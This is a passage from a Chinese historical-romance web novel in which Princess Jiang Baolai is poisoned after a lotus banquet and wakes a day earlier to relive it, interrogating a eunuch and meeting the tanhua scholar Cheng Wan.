《闺名姜宝来》
1. 荷香宴
季夏时节,暑意渐盛。
长乐宫内,居室凉台上的门扉大开,凉台下一池的荷香随风扑面而来。
一身着轻纱,一头乌黑亮丽的发挽成惊鹄鬓的女子悠闲地阖着眼躺在一张摇椅上,面上盖着一本写有“民间志异”四字的话本,发间的石榴金步摇也随着摇椅的摇晃摇摆不定。
殿中臂抱琵琶的女乐官一手不停地拨动着琵琶弦,高昂的曲声并未扰了在摇椅上正阖眼小憩的女子清梦。
数名头挽双螺鬓,身着窄袖襦裙的侍女如游鱼般鱼贯而入,很快弹琵琶的女官与在那女子足侧轻柔为其捏腿的另一女官悄声退下。
紧接着,侍女们从旁处推来一足有三丈广的木衣架。掌事覃楹则走上前取了女子面上的书籍,再侧身取了身旁妆奁里的珠翠金桃花钿用呵胶涂抹后,轻点在了那女子的眉心。
侍女雾萝朝着摇椅上还在瞌睡的公主望了望,轻声问覃楹:“宴席就快开了,公主难道要尾声再去走个过场?”
正在女子面靥上细绘上胭脂的覃楹抬起头,额头上一道刚刚缝合包扎的伤口出现在了姑娘们的视野里。
提及昨日晌午的事,有随覃楹去宫里取公主新衣的侍女仍不禁打了个寒颤,昨日公主去了马球场打马球自是没见到她们有多狼狈。
覃楹善于做各种各样的糕点,公主又向来与稳坐东宫的胞兄太子殿下感情深厚,时常让覃楹去宫里送新做的甜点。
恰好昨日公主早前命尚服局赶制的新衣收线绣成,公主命覃楹一道从宫中取来。
公主素来不喜交际,更不喜风逢迎的那些朝官,为此方过及笄便搬入了宫外陛下特赐的公主府的居住。
这一路上倒是相安无事,谁料马车方行驶到坐落在安仁坊的公主府邸,覃楹乘坐的马车便与一路失控从开化坊冲出来的姚家大郎的马车撞到了一起。
等随行侍女回过神来一看,竟然是一个疯乞丐,疯疯癫癫的,上半身未着寸缕,浑身脏兮兮地跑了出来,惊了姚家的马。谁想那里面坐着的却是姚尚书的女儿。
而覃楹则被那股大力撞得跌下了马车,额头破了好大一个口子,但怀里还牢牢护着公主今日宴会上要穿的裙衫。
摇椅蓦地停留下来,姜宝来双臂一张,伸了伸懒腰,一手轻轻掩住了哈欠,一双明眸在那绫罗上扫了扫,还未待开口,雾萝便取了一旁几上的团扇递了过去。
姜宝来一手轻挥着团扇,慢悠悠起了身,睨了殿内服侍的众人一眼:“怎么着?破相了?她可是又说了我什么坏话?”
有机灵的侍女眼珠滴溜溜一转,自然知道公主口中的这个“她”指的是何人。不过,她们能说吗?她家公主今日看着心情甚好。但那姚淑妃的好侄女不止一次说公主蛮横了!
姜宝来红唇微扬:“人生在世自己活得舒心最重要,若受世人的批判与眼色过活,恐怕我年纪轻轻就长满了皱纹。”
“我可不想自耗,也不想委屈自己。”
说到此处,姜宝来已走到了衣架面前,忽地眼波流转,望着那榴花红色绣有金线牡丹,配着月色披帛的石榴红曳地织锦嫣然含笑。她笑意更浓:“库里还有多出来的蜀锦料子,你们都去做两身夏衣吧。”
雾萝今日刚穿上了一身公主赏下的新衣,听罢有些扭捏地低下了头,双目瞧着足尖:“前些时日公主才给我们裁了夏衣呢!”
姜宝来却不以为然,一手将团扇抵在了鼻尖,懒懒道:“姑娘家的芳华年少拢共就那么些年,这个时候不漂漂亮亮的,难道要等老了吗?”
她在栅足案前跪坐下来,一手用香箸拨弄起面前青釉薰炉里的香灰,随后拾取案上的香露在自己的腕间轻点,头也不抬地说:“可我们姑娘家最喜欢的永远是新衣呀!好好爱自己,自己宠自己。”
侍女们纷纷眉开眼笑,雾萝也笑哈哈道:“得令!”
-
芙蓉园荷香宴。
湖光潋滟,风过处涟漪微动。
湖岸上歌舞升平,数名身着火红脐装的舞姬们跳着胡旋舞。
嘉福公主那顶四周垂悬着珠翠流苏,轿身通体绘着花鸟,步步生香的七珍步辇停在了一片树荫下,数名佩剑的仪卫立在一旁,分成两队,等候着步辇上的女子下轿。
姜宝来一足已落了金钻地,不远处长廊内忽而传来一阵笑音。她朝内望去,廊内的长凳上正惬意坐着一珠翠华服女子,而华服女子面前数名身穿朱红袍服的“白面书生”一面吹着骨笛一面与之眉目传情。
姜宝来蓦地蛾眉一蹙。
立在园子一处的宫人见到来人忙通传:“嘉福公主到!”
园子内本是谈笑融洽的众人一时静默,纷纷看向这位自幼起便受尽无上荣宠的帝女,自出生时便得今长明帝赐予寓意极佳的乳名——乐宁。而后六载嘉福公主已生得玉雪可爱,明事理、辨是非,长明帝再欲越级特封为长公主的帝家明珠,却被众朝臣以不合礼制阻拦。
据传当年长明帝在秋猎后生了一场重病,御医们治了很久都未有好转,直到这位帝女出生,大明宫里,帝后所得的第一个女儿,也是长明帝的唯一一个女儿。今帝竟渐渐好转,不日痊愈。
但阖宫上下心知肚明,这位帝王的掌上明珠受尽荣宠的原因,还有另一层原因,那便是居于立政殿,与长明帝年少而识已薨十八载的谢皇后。
谢皇后半生所得一儿一女,长儿七龄时便立为皇储。长明九年,谢皇后因艰难产下嘉福公主血崩而亡,彼时八岁的太子便亲自揽过照料幼妹的责任,兄妹两个感情极深,相亲相爱。
贵女们一齐围在两侧朝她辑礼:“小殿下!”
姜宝来肩头那只通体雪白,正扑腾着翅膀的凤头鹦鹉,两只爪子立时在她肩上蹦蹦跳跳个不停:“殿下好!殿下好!”
姜宝来微微颔首,道了一声:“免礼。”
很快,那位满头珠翠的华服中年女子姗姗来迟,宫人再唱道:“仪阳长公主到!”
众人再次一一辑礼,长公主却径直朝她走来,拉住她的手关切道:“这么瞧着,风寒倒是痊愈了。香腮红润,月貌花容……”说着她又妩媚一笑,看向园中的俊男贵女:“瞧瞧我大熹的俊儿郎,眼珠子都快掉到了本宫的乖侄女身上。真是令人好生艳羡呢!”
此话直率露骨,若是寻常世家脸皮薄的女子,登时会羞红了脸,也会心生不喜。
但姜宝来习惯了。
她目光流盼,朝着亭子里稍稍一瞥,那数名朱红白面已没了踪影。
随后姜宝来强压下心中的嫌恶,以手中的团扇掩唇笑意盈盈:“哪里比得上姑母你夜夜做新妇呀!”
长公主闻言蓦地一愣,很快回过神来,佯装了羞意:“乖侄女真会说笑。宴席就快开了。早些登舫入座吧。”
姜宝来施了礼再不多留一步,正欲带着侍女们登了画舫,余光却见身侧不知何时多了一个小宦官。还未待她开口,那小宦官见状又忙弓着身退了下去。
湖岸上两艘画舫男宾女宾分船而行,宫娥们早已端上来宴会所需的餐饮。荷叶蒸的香米饭,用荷花点缀的酥鱼,或是以荷花形状制成的甜糕、还有些许八珍玉食。
姜宝来抱着那一壶刚刚送上来的冰镇的富平石冻春正欲一饮而尽,一通体雪白的幼犬忽然不知从何处窜了出来,撒欢跑到了贵女们的餐案下。
“姚姑娘,雪球在这儿。”顾家小娘子弯腰到脚下一把抱起了那幼犬。
姚芳好正在船舱里寻找着自己的爱犬。听见顾绮的声音,很快轻移莲步款款而来。
姚芳好接过了顾绮手中的雪球正欲道一声谢,忽地听见一声笑音自她身后传来。
姚芳好抬眸望去,姜宝来正一手握着团扇轻轻挥动,嘴角漾出一抹笑意,问她:“怎么了呢?”
姚家小娘子一时未作声。
姜宝来看着她面上的轻纱,想起今日雾萝的话秀眉微挑。
看来真是破相了。
然而,姚芳好却道:“回小殿下,臣女昨日误食了海物,面上生了红疹,唯恐惊扰了公主,今日便以此纱遮面。”
姜宝来面上仍然带着一丝笑意,顾绮闻到她案上那石冻春的清香,到底按耐住嘴巴里的馋虫,径自倒了一盏甜梨汁,与身侧的杨家妹妹一齐以甜酿带酒敬了她一盏
姚芳好见状很快回餐案上取了高足杯,复敬了一盏。
一壶石冻春缓缓入肚,岸上跳着胡旋舞的舞姬已换成了身着霓裳,手持荷花跳着羽衣舞的宫娥。
哥哥今天难道没参宴?
因许久未曾见到哥哥的身影,姜宝来这般想着忽然兴致缺缺,又吃多了酒想让多吉送她回府。
覃楹道:“公主忘了?多吉公公今日去了宫里。”
姜宝来的身边有一个鹤发童颜的宦官,鼻子如老鹰一般,鼻梁高挺凸起,鼻尖下钩出一个弧度似鹰。半张脸上还有很严重的陈年伤疤。
多吉武功高超也会飞檐走壁,对她忠心耿耿。但面相却很是丑陋。是当年谢皇后身边的忠仆,后来谢皇后薨逝,多吉一直留在谢皇后的立政殿照料一园子的花草,直到太子问起他的去留,他才说要留在小公主的身边。
因面相奇特丑陋,寻常人等特别是世家大族里大门不出、二门不迈的姑娘们,瞧见这个头发花白的老宦官在她身边一站,贵女们会呼啦啦地各回各座,不敢靠近。
姜宝来却乐在其中,多吉好啊,多吉是她的宝。
但仪阳长公主也就是她的姑母却说看上了他的本领,且生得一脸“吉祥”模样,三番五次地来管她要人,摆起了长辈谱。<
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平日里这种劳什子宴会,她能偷个懒便会称病不出来,瞧着对面船只的那些好色之徒,抑或世家贵女间的暗暗较劲,还不如在自己的长乐宫面向朝阳,吃着瓜果赏荷自在呢!
不过岁首她的姑父因病暴毙,听闻这个姑母黯然销魂,食不下咽多日,一母同胞的父皇也跟着黯然神伤,准她大办一场宴席。
由此,她自是躲不过去了。
但姜宝来不想与她多费口舌,平白浪费大好时光便派了多吉去宫中,说是冬雪新做了金乳酥,她吃着甚好想给寡居的外祖母送一些去。
果然姑母前来只拉住她的手寒暄一番便去了别处与其他贵妇们谈笑。这位姑母一把年纪了。府中却养了好多面首,在府里时常夜夜笙歌纵乐。
“那就靠岸吧,我有些乏了。”
姜宝来捏起一小块糕点入了肚,心满意足地用双手扑了扑指腹的糕点残渣,再吃了一口凉茶,便带了两个侍女前往后园的憩室。
沿途的一片奇石假山后忽然隐隐约约响起一阵沉闷地脚步声,很快又传来男人们的说笑声。
“……程子煦这个人惯会装清高,探花有什么了不起?他日我若考得个状元高他一等,且看他如何?”
有人轻嗤了一声:“昨儿我们在望月楼小聚请他来吃酒他竟不给面子。后来我有心去瞧,发现他在自己那破旧院子里烤起肉来。这不是瞧不起我们是什么?呵,乡民……”
大抵是来参宴的世家子弟聚在一起闲聊。但雾萝唯恐这群纨绔子弟再说下去会污了公主的耳,正要绕过假山上前制止。面前的公主却恍若未闻,示意她朝憩室而去。
谁料那群世家子弟竟有一人折返了回来,发现她二人的踪迹,朝她道:“公主请留步——”
姜宝来回过头,看着那青年举手投足间尽显的风流之态,很快又见他自花丛中折了一捧花,迈着醉步一手递给她,另一手便要扶上她的肩头。
阿媚扑腾着翅膀,一声带有警告的咆哮。
姜宝来还未躲闪,雾萝便一手抄起了腰上的软鞭毫不留情挥了过去,覃楹则挡在了她的面前。
“大胆狂徒!”雾萝一声厉喝。
而这时在庭园里穿梭的宫娥也闻声前来,哗啦啦一时间跪了一地。
姜宝来看着他手里的花花草草,不知怎的就想起以前最喜欢在茶里放各种花瓣,后来有一次中了毒,就不喜欢了。
那青年两眼迷离,似有些神志不清,显然吃醉了酒,也显然是有备而来。被那软鞭一挥立时吃痛,酒醒了半分。
很快自远处而来的一小厮模样的人便扑通一声跪了下来,脸色灰白,拉拽着那男子跪了下去:“求公主殿下饶命!”
那小厮忙又道:“郎君的姨母为姚尚书府的杜夫人,杜夫人今日受邀参宴,小的随郎君从浔阳郡前来姚家寻亲,今日恰好随杜夫人子女随行。御苑美酒佳肴,郎君一时贪了杯,许是吃醉了酒,认错了人……”
姜宝来眉梢轻挑。
雾萝已愤道:“好个淫贼!宴会还在前面举行,这般追着我家公主殿下而来是否刻意而为?这便将你家那酒色之徒交到大理寺,予他个大不敬之罪!”
家仆惊恐万分,虽在都城才暂居下月余,却早已听闻这个自幼受尽皇家宠爱的公主,是如何的能在都城中“呼风唤雨”。
急忙回道:“小的,小的……不敢隐瞒,前几日公主的香步辇从闹市一过,一股风吹起了那步辇前的纱帘,郎君回了姚家宅邸便失了魂魄……”
姜宝来一时未作声,而后忽然唇角一弯笑了笑,转身便朝后走去,却见到远远地在另一个方向闻讯而来的一行人。
雾萝见状上前两腮一鼓,大口吹散了那青年手中的蒲公英,很快跟上。
“婢子正手痒痒呢!大胆狂徒,公主何不使婢子教训教训他?”
姜宝来红唇上扬,笑意加深,露出一排洁白的牙齿,笑盈盈地朝她看去,那饱满光滑的额头上一抹花钿也在似火的骄阳下熠熠生辉。
“有人觉得我好看?我气什么?”
侍女们看着面前生得白皙如雪,犹如明珠生晕般极为明艳的帝家公主,很快赞同点点头。
姜宝来正欲穿过花园里的羊肠小道进入后园,找个居室歇歇,不期然听见沉闷地一声,紧接着身后传来一声惊叫。
姜宝来蓦地一屏息,暗道一声不好,转身就朝后走去。
“长风兄——”花园里三四个头戴玉冠、身着华裳的贵族子弟,左右拥上前拦在那头束着银冠、一身锦袍的俊俏公子哥面前,而那人显然还未解心头怒火,再欲一拳朝那狂徒挥去。
姜宝来明艳的五官上蛾眉微挑,看向此刻正满脸凛冽肃杀之气的魏翊扬。整个长安城内都认为日后会尚得公主的准驸马人选。
2. 芳华落
此刻怒火难消的魏翊扬也显然注意到了身后来人,大步流星走了过来,盯着她瞧。
“乐宁,他有没有冒犯你?”
姜宝来一双澄澈的明眸朝他望去几息,正要开口,余光便见花园的另一头闻讯赶来的众人。
姜宝来忽地明媚一笑,黑亮的眼珠忽闪忽闪,很是楚楚动人,唤了一声:“魏……郎。”
身侧闻言的雾萝好悬原地栽了个跟头。
长明二十四年春,彼时逢花朝节,中宫皇后早逝,长明帝一直未再立后,便特允姚淑妃在宫中宴请了许多贵妇赏花吃糕,并祭拜起花神。同年方过了及笄礼的姚淑妃侄女随母赴宴一不留神掉进了太液池,当时贵妇们都在园子里赏花望春色,没人注意到一个小姑娘因追扑蝴蝶溜了出去。
等人注意到时,太液池岸边姚芳好已浑身湿漉漉被人捞了上来。
彼时闻讯而来的姜宝来看见在一旁静立的魏翊扬与太子胞兄,虽有宫人递来的氅衣罩身,但魏翊扬湿漉漉的鬓发仍能看得出落水的痕迹。
自簪缨世家出身,时年十六岁的魏翊扬已生得气度不凡,小小年纪便少有所成。当年魏老太爷本想着让这个孙儿饱读诗书,将来凭着满腹经纶做个文官,但魏翊扬自幼时起便喜五舞枪弄棒,习起武来。
达官显贵们牟足了劲在小女幼年起便悉心教导,以备日后能与魏家成两姓之好。
长明帝却在同年的千秋节上特意提及爱女嘉福亲做的糕点,当着满朝臣的面享用了一块,而后问起御史中丞魏林令郎可有婚配?
中宫皇后谢瑶珍的母家谢家与魏家三代世交,嘉福公主自幼往来谢家与魏家郎君自幼交好,两小无猜。今多载已过,青梅竹马的发妻谢氏香消玉殒,她所出的一子一女备受其宠爱。
今明珠般的帝女既已长大成人,长明帝这般虽未明说,但此举已不言而喻。
但嘉福公主却当众捅破了这层窗户纸,只撒着娇与长明帝道:“父皇可是觉得儿臣碍眼了?儿臣可还未想过嫁人的事儿,至于今后的事儿今后再去计较。至于这魏郎君,在座的姑娘们都有机会,可千万别说我狭隘啊!”
太液池旁姚芳好垂着眸掉下一串泪珠。
彼时也在十五龄的天之骄女已在君主父亲与太子胞兄的宠爱下,盛气凌人、飞扬尊贵。看着这个他日似要为驸马的小竹马,谈不上喜欢,但也并没有讨厌。但在那次千秋节过后她也曾与魏翊扬说明,自己还未想成婚,他也不是她的驸马,若是他日有钟爱的姑娘一定要告诉她。她自会去向父皇说明。
而后她冷眼看着面前的姚芳好,姚芳好则一瞬紧抿着唇,似在惧怕眼前人。
怎么正大光明行起事来不行?偏要偷偷摸摸的香?
姜宝来看着这张肖似姚淑妃的面容,忽地又想起了那个一颦一笑都肖似母后的女人。蓦地,嘴角勾起一抹讥笑。
事发时正巧路过,此刻同样浑身湿漉漉的小黄门暗中擦了一把额头的汗,以膝爬行上前开了口:“奴才多有得罪了姚姑娘。这太液池水可深着,就是魏郎君脚下一个打滑也跌下了湖。”
原来这救人的正主在这儿。
众人看着那小黄门,小黄门又暗自咽下了一口唾液,这魏郎君实则是自个一头栽进去的。
一个身为太子少时伴读,如今在南衙十六卫中任职的金吾卫中郎将。一个为储君之身却自幼患上沉疴顽疾。事发时这池岸边只有魏家的郎君与太子殿下,太子身份尊贵自是不能去救姚家的姑娘,何况太子体弱有心无力。唯一剩下的魏家郎君却不知怎么想的一头栽了进去,却不是为了救人。
姜宝来见状面无表情地扬长而去。
憩室内,侍女们陪着她摆弄了一番双陆棋,用了一盏茶,便再没有了逗留的心思。更没向长公主辞行。
返回长乐宫的路上,因芙蓉园一行感到有些困倦,姜宝来渐渐眼皮沉重打起了瞌睡。覃楹见此便轻手轻脚要放下四周被卷起的纱帘锦帐。忽而听见一声犬吠,紧接着是一声温润笑语:“别吵……都有都有。”
姜宝来下意识地睁开了眼。
先映入眼帘的却是远处斑驳的树影下那道笔挺如松的身影。他清清冷冷地站在树影下,通身的温润,面容清隽,朗目舒眉。身着了一袭汉白玉色的束腰长袍,发顶只一根寻常木簪固发,光影洒下,就如天上月般。
姜宝来望着那正拿着一碗肉羹
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喂食两只浑身毛发脏兮兮,瘦骨嶙峋的幼犬的俏郎君,眉梢不经意间挑起。
“哪里来的小郎君?”
步辇下的雾萝一听,回头伸长了脖子仔细看了半晌,讶道:“呀,这可不是新科探花郎?那本子上画的就是他不能有假。这可是今年春日里陛下钦点的探花郎,刚任为崇文馆校书郎。前阵子在曲江游宴上采花赋诗,好多世家女子都瞧见了。虽只是个九品小官却是前途无量的很呐!”
“……日出上值,午后还未待下值便有姑娘家提着食盒等着了。怎生比那话本子里说的还俊呐?公主……”
雾萝兴致勃勃地说着,再一回头却见公主不知何时睡着了,呼吸清浅,长睫垂下。
月上梢头。
因白日里吃多了酒感到燥热,姜宝来让秋月打开了凉台那几扇门扉,覃楹取了冰镇的乌梅饮从彩罐倒在白瓷高足杯里。
姜宝来一手执着杯走到凉台的美人靠上坐下,一手扶在栏杆上望着满池荷花,听着殿内的琵琶音。
一杯乌梅饮还未喝完,忽然感到腹中有些隐痛,又坐回了摇椅上闻得一池荷香,迎着扑面的夏风。
覃楹拿来薄毯给她盖上,回身见她双目沉沉,眨眼的功夫面上苍白如纸。忙一手探向她的额头,目露担忧道:“公主可是哪里不舒服?莫非是今日吃多了凉饮染上了风寒?往常也没这般贪睡。不若回到榻上歇息,奴去唤御医前来。”说着便挥手遣散了弹琵琶的那名女官,又让秋月将凉台的纱帘放下。
姜宝来因腹中的隐痛感越来越烈,正想着不如小憩一会儿开口让侍女们退下,突地感到喉中一股腥甜,而后吐出了一大口鲜血。
两个侍女骤然见此情景纷纷围了上来:“公主——”
“快,快去叫御医!”
守在门外的多吉也在这时持剑闯门进来。
姜宝来侧过头,瞧着那面足有一人之高的菱花镜,再看着镜中的自己,惨白的面、乌黑的唇、目露困惑,转而闭上了眸。
混沌中,似进了一片茫茫大雾,她再次回到了年幼时穿着漂亮衣裙的小公主,长乐宫中或榴花风动,抑或荷香四溢,贴心的侍女们给她剥着葡萄与石榴吃。
3. 字子煦
姜宝来极力要睁大那犹如灌了铅的一双眼皮,却拼足了力气也看不清面前的一切。
很快画面一转却是一只通体雪白的凤头鹦鹉飞到了她的肩头上,鼻间吸入的是荷花池的清香,再映入眼帘的是她长乐宫屋顶下的顶棚那一片片五颜六色绘着花鸟的漆料。
她依旧坐在摇椅上,满室生香,夏日的风吹过,还有屋檐上悬挂的风铃,敞开的门扉连着美人靠的凉台。
侍女们在旁嬉戏玩闹,见到她午歇醒了纷纷围过来说:“公主醒了。”
姜宝来茫然了片刻,见荷花池上的那片暮色余晖,问:“什么时辰了?”
雾萝道:“酉时了。明日的荷香宴公主还没选衣裙、花钿、璎珞呢!”
姜宝来一时沉默无言,这个时辰是她白日里从马球场回来,沐浴过后又小睡了一觉。而覃楹因受了伤,她回府邸时听闻此事便让她下去歇息了。
谁想这个时候竟在殿里调香。
她极爱香,有时候午歇打个盹也要让侍女点了香炉,才能安安稳稳睡过去。
姜宝来又将视线收回,怔怔地望着顶棚的绘画却无心欣赏,想着那个太过逼真的梦。
不,不是梦,是真真切切的。她在自己的长乐宫中毒而亡,铜镜中的乌黑双唇与腹中的隐痛、呕血,她分明就是中毒而亡。
那她又究竟丧生于谁人之手?
那一场荷香宴,宴会上她只饮了那壶冰镇石冻春还有一些糕点茶水,之后她便回了府邸。
若说还有什么特别之处,姜宝来忽地脑中一闪而过,想起当日在她面前踌躇不走的那宦官。
当日在芙蓉园设宴,姑母是有了父皇首肯的。若是她在此宴上中了毒,那每个参宴的人都逃不了干系。父皇定会一个一个地查。还有她用过的吃食、酒水,每一个她能接触到的器具都不会放过。又是何人会这么大胆?
围在她身前的侍女们见她不答话,以为是在睡梦中魇着了。
覃楹默默去倒了一盏茶,起身时不免带起了一缕芳香。
姜宝来看着这些忠仆,雾萝活泼好交际,覃楹稳重谨慎,在她年幼的时候就在她的身边了。
但重活一世她还能在相信她身边的这些人吗?可如若这些人都信不过,那她的身边就没有可信之人了。
忽而鼻间吸入了一股焚香的味道。
香!
在花园里,她与姚芳好擦肩而过的那一瞬,她也闻到了一股异香,很是甜腻。
蓦地,姜宝来起了身咬紧了牙。她召来多吉,附耳交待了一番,多吉很快应命而去。
-
翌日,仍然是晴空朗朗的一天,她依旧去了御苑参宴。不过今日却是照上一世前来赴宴大有不同,只因她在路上遇见了上一世并没有出现的一幕。她是在回长乐宫路上看见的那生得极其好看的郎君,但这一世她却先遇见了。
雾萝见此递上了一提食盒,是覃楹怕她饿了在路上吃的,她今日却意兴阑珊赏给了底下的侍女们。
她有心多看了两眼,被最会察言观色的雾萝记在了心里。雾萝看着这新科探花郎,一双大眼忽闪忽闪的:“我们贵主说了这狗儿真可爱,赏它了。”
姜宝来:“……”
她有说过吗?
那如天上月般的人并未朝步辇的纱帘后瞧上一眼,一双小梨涡随着他那张清澈干净的面容,展颜一笑,更如姣姣明月。
“那程某便却之不恭了。”
直到步辇渐渐走远,姜宝来忽地开口:“名字。”
雾萝一愣,随后很快道:“这探花郎。姓程,名晚。字——”
“公主,婢子还真不知呀!”
宴会上的种种都照常发生,姜宝来一面应付着长公主一面注意着正要前去画舫送酒水的几个宦官。
忽地,姜宝来一手抚向了鬓间的步摇,身子稍稍一侧,撞翻了一个小宦官手中的托盘,酒水登时洒在了她那一身火红的衣裙上。
一时间,哗啦啦又跪了一地。
要知道,这位帝家公主最大的爱好便是令尚服装制作各式各样的漂亮衣裙,珠钗首饰。今日既是皇家宴会,嘉福公主的这身衣裙自是出自多个绣娘的巧手作出,珍贵异常。
御苑内,一时间鸦雀无声,眼看着公主眸中燃起的怒火,湖岸上的歌舞也当即戛然而止。
但姜宝来忽地一笑,笑得却极轻极淡,只道:“姑母不知,侄女风寒尚还未痊愈,今日便不游船了。”
说着便带着一队浩浩荡荡的府邸仆从去了后园的憩室。
画舫内的宴会也一切照常举行,姜昭华方吃了一盏酒,便有宦官来禀,似有些难以启齿:“长公主殿下,嘉福公主适才召了几个小太监去了后园……跳……跳胡旋舞。”
长公主含在口中的一口烈酒还未咽下,悉数呛咳了出来。这声音不大不小,围在她身边的命妇女、贵女们很多听得个清楚。
-
几个年轻的小宦官是初春里新入的芙蓉园,平日里在园中打理一切闲杂琐事,等候着皇室中人的驾临举宴,却从未似今日这般竟能受帝家公主召见,近距离地接触。
只是今日的受召大有不同。
雾萝看着几个头戴幞头,身着袍衫的小公公跳着西域的胡旋舞甚是滑稽,在后幸苦忍着笑意。
而公主坐在席子的蒲团上,专心下着面前的双陆棋看也不看他们。
覃楹在一旁一边煎茶烧着水,一边握着果子削着果皮,似浑然未觉屋子里多出来的几个人。
片刻,只见公主猛地一拍案几,随后掀翻了面前的棋局,转过头来瞪着他们。
初出茅庐的几个小宦官给登时惶恐跪了下去,结巴道:“公主……公主,小殿下饶命。”
“不知小的们哪里得罪了公主殿下,还请殿下饶命!”
姜宝来一扫几人,很快便见此中有个快扎进地底的脑袋,便知他有事瞒着,起身右手一摊,覃楹便递上了那把锋利的果皮刀。
她一手握住刀柄和刃尾好生转了一圈,突地又咯咯笑道:“都抬起头来,本公主可不会吃人。”
小宦官们得了令,纷纷抬起了头,再看着头顶那把锋刃在她的手里旋转得游刃有余,丝毫未剐蹭到一点皮肉,浑身抖得更甚。
姜宝来不紧不慢地一一扫过他们,让守卫带了其余不相干的人出去。
屋子里一时静寂,姜宝来慢悠悠道:“都想让本公主饶命,我是屠了谁的命?斩了谁的头?你且来
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说说。”
早已惊惧的小宦官顿时大惊失色:“殿下和善亲切……平易近人。”
姜宝来忽然扬眉轻笑:“那你可要睁大眼睛好好瞧一瞧,我接下来要做的事。”
“刀了你——”
小宦官突地一声惊叫,眼见着刀尖划过了自己的脖颈,一滴血珠顺着衣襟淌下,忙道:“公主饶命。是奴才,奴才今日不小心听见了姚家的姑娘与侍女谈话,是让自己兄长灌醉了一个杜姓郎君的酒,为此接近……公主,好退了与杜家的婚约……”
姜宝来再朝着他颈间抵入了一厘,眸光如寒刃般淡淡扫过,大有要灭口于他的架势。
小太监顿时面如土色,如实招来:“因公主还未入园,奴才不敢隐瞒此事便速速禀告了长公主殿下。殿下却说多一事不如少一事,由她们……她们去。”
咣当一声,匕首落地,面白如纸的小太监只听见头顶一声笑语,煞是平静:“滚出去。”
姜宝来带着府邸一行人大马金刀地出了庭园,风风火火朝御苑外走去。路过假山听见山石的另一头传来几声狂妄的笑音。
“……程子煦这个人惯会装清高……”
姜宝来正被前世的莫名毒杀扰得心乱如麻,冷不防听见这刺耳的笑声,一双秀眉蓦地一蹙,并道:“将他们扔到河里去!”
“吵得我耳朵疼!”
几个执扇的华衣少年嘴角还带着轻蔑的笑意,不期然听到一声曼妙女音,还未待细想,眼前便有一道身影抓着他们的领窝提了起来。几息的功夫,几人如下饺子般噗通噗通落入了荷花池里,吓得一池游鱼也火速游走了。
紧接着呼啦啦一群小厮围了上来,纷纷喊着:“郎君!郎君!”
姜宝来猝然一声冷笑,各府的小厮们见公主并未制止,很快又跳下了河去救自家的小郎君。
一时间,人人如落水的野鸡。
姜宝来一脚踩在了一人小腿处,微微弯下身。阿媚见状也扑腾着翅膀,啾啾了两声。
“只会混青楼妓馆的一帮浪荡子,什么叫清高?这是自认为自己便是不正当行事的人了?要不要把你们的子孙根割掉统统换上?”
姜宝来脚下的高头履微微前倾,用足尖在那浪荡子的腿部碾了又碾,再一掌挥过。随后一扫四周,折下池塘边的柳树上一根下垂的枝条,用力朝着他的身下戳去。
其余几个世家子弟见状,似乎已然忘记自己也是其中的一员,不免哈哈大笑。
那浪荡子只觉面上火辣辣地痛,听罢又勃然大怒甩了甩面上的水珠再摸了一把面便要撸了袖子,一抬头却对上了一双美目,紧接着再入目的便是一双柳叶弯眉,面容白皙如雪,唇如蜜桃。虽明眸里含着怒气,却别有一番风情动人。
烈日高悬,一身大红的石榴裙与鬓间摇晃的牡丹镶珠金步摇相呼应。
少年一时怔在原地,脱口而出:“牡丹当国色……”
但一句话还未落下,雾萝便蹬蹬走上前,一掌扇了过去。
“闭上你的狗眼!此乃嘉福公主!”
奇石亭台后,缓缓闲庭信步般走出一人,一席玉色布衣,玉冠束发,辑礼道:“在下姓程名晚,字子煦。”
“谢公主殿下。”
4. 探花郎
鎏金香炉里升起一缕轻烟,香气飘散在整个空旷的大殿中。姜宝来睁开眼望着头顶天水碧的床幔一时怔愣。
这是母后生前的宫殿。
雾萝在旁一手轻摇着团扇,见公主醒来,忙问:“公主醒了!婢子去叫覃楹姐姐。”
正逢覃楹端了一碗茶粥进了内室,瞧见床上的公主已经苏醒忙放下粥碗走了过去,又见公主要坐起,拿起腰枕垫在了她的身后。
雾萝见状便端起那碗茶粥用餐匙搅了搅,递到了她的嘴边:“公主一天都没吃东西了。太子殿下说让膳房里备着吃食,就等公主醒了吃下。”
“我怎么在这儿?”姜宝来懒洋洋地再扯过了两个软枕,以肘支枕倚在了上面,摆摆手表示她的抗拒。
那茶粥还隐隐带着茶香,以茶煮粥,炎炎夏日最是解暑清爽,但她实则一口都吃不下。
覃楹道:“公主来了癸水又没用朝食这才晕厥了过去。方才在御苑公主直念着陛下与太子殿下。长公主想着不如就让公主歇在御苑,拿调令让尚药局的窦直长来为公主诊治,婢子们不敢耽搁让守卫取了步辇直奔了宫里来。”
姜宝来本慵懒地躺在软垫上,闻言一声冷哼:“她这是怕担责呢!那窦直长说不定也是她的新郎官呢!”
覃楹笑笑:“陛下与太子殿下来瞧了公主两次,袁奉御说公主现下已无大碍,又见公主睡得安稳便离开了。”
姜宝来又问:“哥哥为何今日没去御苑参宴?”
覃楹轻声道:“听殿下身边的茂才说,殿下前日里着了凉肺寒发作了。”
十七年前元正那日百官进宫朝贺,宫宴直至戌时才尽。朝臣与外邦正要纷纷离席朝宫外而去,时年九龄的东宫太子却不见踪影,直到众人发觉,才知本是去解酒消醉的太子已离席多时。
太子身边的宦官茂才满面惨白闯进了宫宴,直道:“……陛下,太子殿下不见了。适才殿下离席不让奴才随侍,奴才只好远远地跟着,后来殿下在立政殿的后花园坐了半晌,奴才担心殿下受凉上前去瞧,殿下却不见了踪影。”
立政殿是谢皇后生前的居住,太子殿下这是想先后了。
长明帝为此发动了阖宫宫卫,参宴的朝也跟着一同寻找,最后却在冰凉刺骨的太液池里发现了太子的踪迹。
长明帝大怒,当即赐死了太子身边的宦官茂才,太子却倾力相护。
从此后太子因寒邪侵袭肺脏常年都在病苦中,曾意气飞扬的东宫太子一夕成了弱不禁风的羸弱殿下。
直到嘉福公主知事后每年都会在祭祖祈福那日祈祷先祖庇佑一母同胞的兄长。
听到胞兄肺寒发作,姜宝来忽而垂下了眸,想起了那个宽厚有礼、温文儒雅的面孔。
覃楹见她不语又取了案上的金乳酥端到了她的面前。姜宝来看着幼年至今最喜欢的糕点,狠狠吸了一口气再大力呼出,腹中的馋虫也现险些跟着跳了出来。
吃吧。吃吧。大不了再死一次。
想到此,她把心一横,下了床榻,吩咐道:“取粥来!本公主还要饮杏酪、樱桃毕罗、绿豆糕!”
侍女们欢天喜地地取粥的取粥,端点心的端点心。
